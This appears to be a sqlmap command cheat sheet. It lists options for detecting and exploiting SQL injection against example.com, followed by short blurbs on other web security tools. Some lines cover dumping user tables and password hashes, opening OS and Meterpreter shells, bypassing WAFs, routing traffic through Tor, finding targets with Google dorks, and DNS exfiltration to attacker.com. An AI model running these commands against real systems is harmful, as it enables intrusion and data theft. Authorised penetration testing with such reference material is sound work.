sqlmap -u "http://example.com/page.php?id=1"Tests the specified URL parameter for basic SQL injection vulnerabilities.
Automates detection and exploitation of SQL injection: fingerprints the database, extracts data and can reach the file system or OS.
sudo apt install sqlmapsqlmap -r request.txtLoads the HTTP request from a text file and tests all parameters.
sqlmap -d "mysql://user:password@192.168.1.1:3306/db_name"Connects directly to the database using credentials.
sqlmap -g "inurl:php?id="Uses Google dorks to find potential targets automatically.
sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123"Tests POST data parameters for SQL injection.
sqlmap -u "http://example.com/" --user-agent="SQLMAP"Sets a custom User-Agent header to test for header-based injection.
sqlmap -u "http://example.com/" --param-del=";"Sets a custom character to split parameter values.
sqlmap -u "http://example.com/" --dbms="MySQL"Forces the backend DBMS to a specific type to speed up detection.
sqlmap -u "http://example.com/" --os="Linux"Forces the backend operating system to a specific type.
sqlmap -u "http://example.com/" --bannerRetrieves the database management system banner.
sqlmap -u "http://example.com/" --current-userRetrieves the database user currently running the query.
sqlmap -u "http://example.com/" --current-dbRetrieves the name of the current database.
sqlmap -u "http://example.com/" --is-dbaChecks if the current database user is a database administrator.
sqlmap -u "http://example.com/" --usersEnumerates all database users.
sqlmap -u "http://example.com/" --passwordsEnumerates database user password hashes.
sqlmap -u "http://example.com/" --privilegesEnumerates privileges for database users.
sqlmap -u "http://example.com/" --rolesEnumerates roles for database users.
sqlmap -u "http://example.com/" --dbsEnumerates all databases available on the server.
sqlmap -u "http://example.com/" -D testdb --tablesEnumerates all tables within the specified database.
sqlmap -u "http://example.com/" -D testdb -T users --columnsEnumerates all columns within the specified table.
sqlmap -u "http://example.com/" -D testdb -T users --dumpDumps all data from the specified table.
sqlmap -u "http://example.com/" -D testdb -T users -C "user,pass" --dumpDumps specific columns from the table.
sqlmap -u "http://example.com/" --dump-allDumps the entire database content.
sqlmap -u "http://example.com/" --exclude-sysdbsExcludes system databases when enumerating tables.
sqlmap -u "http://example.com/" --countRetrieves the number of entries for tables.
sqlmap -u "http://example.com/" --schemaEnumerates the database schema.
sqlmap -u "http://example.com/" --technique=BRestricts testing to Boolean-based blind injection only.
sqlmap -u "http://example.com/" --technique=ERestricts testing to Error-based injection only.
sqlmap -u "http://example.com/" --technique=URestricts testing to Union-based injection only.
sqlmap -u "http://example.com/" --technique=SRestricts testing to Stacked queries injection only.
sqlmap -u "http://example.com/" --technique=TRestricts testing to Time-based blind injection only.
sqlmap -u "http://example.com/" --technique=QRestricts testing to Inline query injection only.
sqlmap -u "http://example.com/" --time-sec=10Sets the delay for time-based injection to 10 seconds.
sqlmap -u "http://example.com/" --union-cols=5Specifies the exact number of columns for UNION query testing.
sqlmap -u "http://example.com/" --union-char="1"Specifies the character to use for bruteforcing number of columns.
sqlmap -u "http://example.com/" --level=3Increases test level to check headers like Cookie and User-Agent.
sqlmap -u "http://example.com/" --level=5Sets maximum test level to check all headers and parameters.
sqlmap -u "http://example.com/" --risk=3Increases risk level to include OR-based and heavy query tests.
sqlmap -u "http://example.com/" --threads=10Sets the maximum number of concurrent HTTP requests.
sqlmap -u "http://example.com/" --null-connectionRetrieves page length without body to save bandwidth.
sqlmap -u "http://example.com/" --keep-aliveUses persistent HTTP(s) connections.
sqlmap -u "http://example.com/" --predict-outputPredicts common output values to reduce requests.
sqlmap -u "http://example.com/" --tamper="space2comment"Replaces spaces with comments to bypass WAF filters.
sqlmap -u "http://example.com/" --tamper="between"Replaces greater/less than operators with SQL BETWEEN clause.
sqlmap -u "http://example.com/" --tamper="charencode"URL-encodes all characters in the payload.
sqlmap -u "http://example.com/" --tamper="charunicodeencode"Unicode-encodes non-standard characters.
sqlmap -u "http://example.com/" --skip-wafSkips heuristic WAF detection checks.
sqlmap -u "http://example.com/" --random-agentUses a randomly selected User-Agent for each session.
sqlmap -u "http://example.com/" --delay=2Adds a delay between each HTTP request to avoid rate limiting.
sqlmap -u "http://example.com/" --proxy="http://127.0.0.1:8080"Routes traffic through a specified HTTP proxy.
sqlmap -u "http://example.com/" --torRoutes traffic through the Tor anonymity network.
sqlmap -u "http://example.com/" --tor-type=SOCKS5Specifies the Tor proxy type as SOCKS5.
sqlmap -u "http://example.com/" --check-torChecks if the Tor connection is working properly.
sqlmap -u "http://example.com/" --force-sslForces usage of SSL/HTTPS.
sqlmap -u "http://example.com/" --os-cmd=whoamiExecutes a single operating system command.
sqlmap -u "http://example.com/" --os-shellPrompts for an interactive operating system shell.
sqlmap -u "http://example.com/" --os-pwnPrompts for an out-of-band shell via Meterpreter or VNC.
sqlmap -u "http://example.com/" --os-smbOne-click prompt for an OOB shell, Meterpreter or VNC via SMB.
sqlmap -u "http://example.com/" --os-bofAttempts to exploit stored procedure buffer overflows.
sqlmap -u "http://example.com/" --priv-escAttempts to escalate database process privileges.
sqlmap -u "http://example.com/" --sql-shellProvides an interactive SQL prompt.
sqlmap -u "http://example.com/" --sql-query="SELECT version()"Executes a single arbitrary SQL query.
sqlmap -u "http://example.com/" --reg-readReads a Windows registry key value.
sqlmap -u "http://example.com/" --reg-addWrites a Windows registry key value data.
sqlmap -u "http://example.com/" --reg-delDeletes a Windows registry key value.
sqlmap -u "http://example.com/" --dns-domain="attacker.com"Uses DNS exfiltration for data retrieval.
sqlmap -u "http://example.com/" -v 3Sets verbosity level to show payloads.
sqlmap -u "http://example.com/" -v 6Sets verbosity level to trace all HTTP traffic.
sqlmap -u "http://example.com/" --flush-sessionFlushes the session file to start fresh.
sqlmap -u "http://example.com/" --fresh-queriesIgnores query results stored in the session file.
sqlmap -u "http://example.com/" --save=config.iniSaves the current configuration to an INI file.
sqlmap -c config.iniLoads options from a configuration INI file.
sqlmap --updateUpdates sqlmap to the latest version.
sqlmap --purgeSafely removes all content from the sqlmap data directory.
sqlmap --dependenciesChecks for missing third-party dependencies.
sqlmap -u "http://example.com/" --hppUses HTTP parameter pollution method.
sqlmap -u "http://example.com/" --skip-urlencodeSkips URL encoding of payload data.
sqlmap -u "http://example.com/" --eval="import hashlib; h=hashlib.md5(id).hexdigest()"Evaluates Python code before the request.
sqlmap -u "http://example.com/" --scope="example.com"Regulates targets based on a regex scope.
sqlmap -m targets.txtScans multiple targets listed in a text file.
sqlmap -u "http://example.com/" --common-tablesChecks for existence of common tables using a wordlist.
sqlmap -u "http://example.com/" --common-columnsChecks for existence of common columns using a wordlist.
sqlmap -u "http://example.com/" --common-filesChecks for existence of common files on the file system.
sqlmap -u "http://example.com/item/1*"Uses the asterisk to manually mark the injection point.
sqlmap -u "http://example.com/" --skip="user-agent"Skips testing of the specified parameter.
sqlmap -u "http://example.com/" --param-exclude="token"Excludes parameters from testing based on regex.
sqlmap -u "http://example.com/" --cleanupRemoves tables or functions created by sqlmap.
An automated framework for detecting and exploiting cross-site scripting (XSS) vulnerabilities in web applications.
“Fuzz Faster U Fool” — a very fast web fuzzer for directories, parameters, virtual hosts and POST data, with flexible matching and filtering.
A fast, template-based vulnerability scanner. Thousands of community YAML templates detect CVEs, misconfigurations and exposures.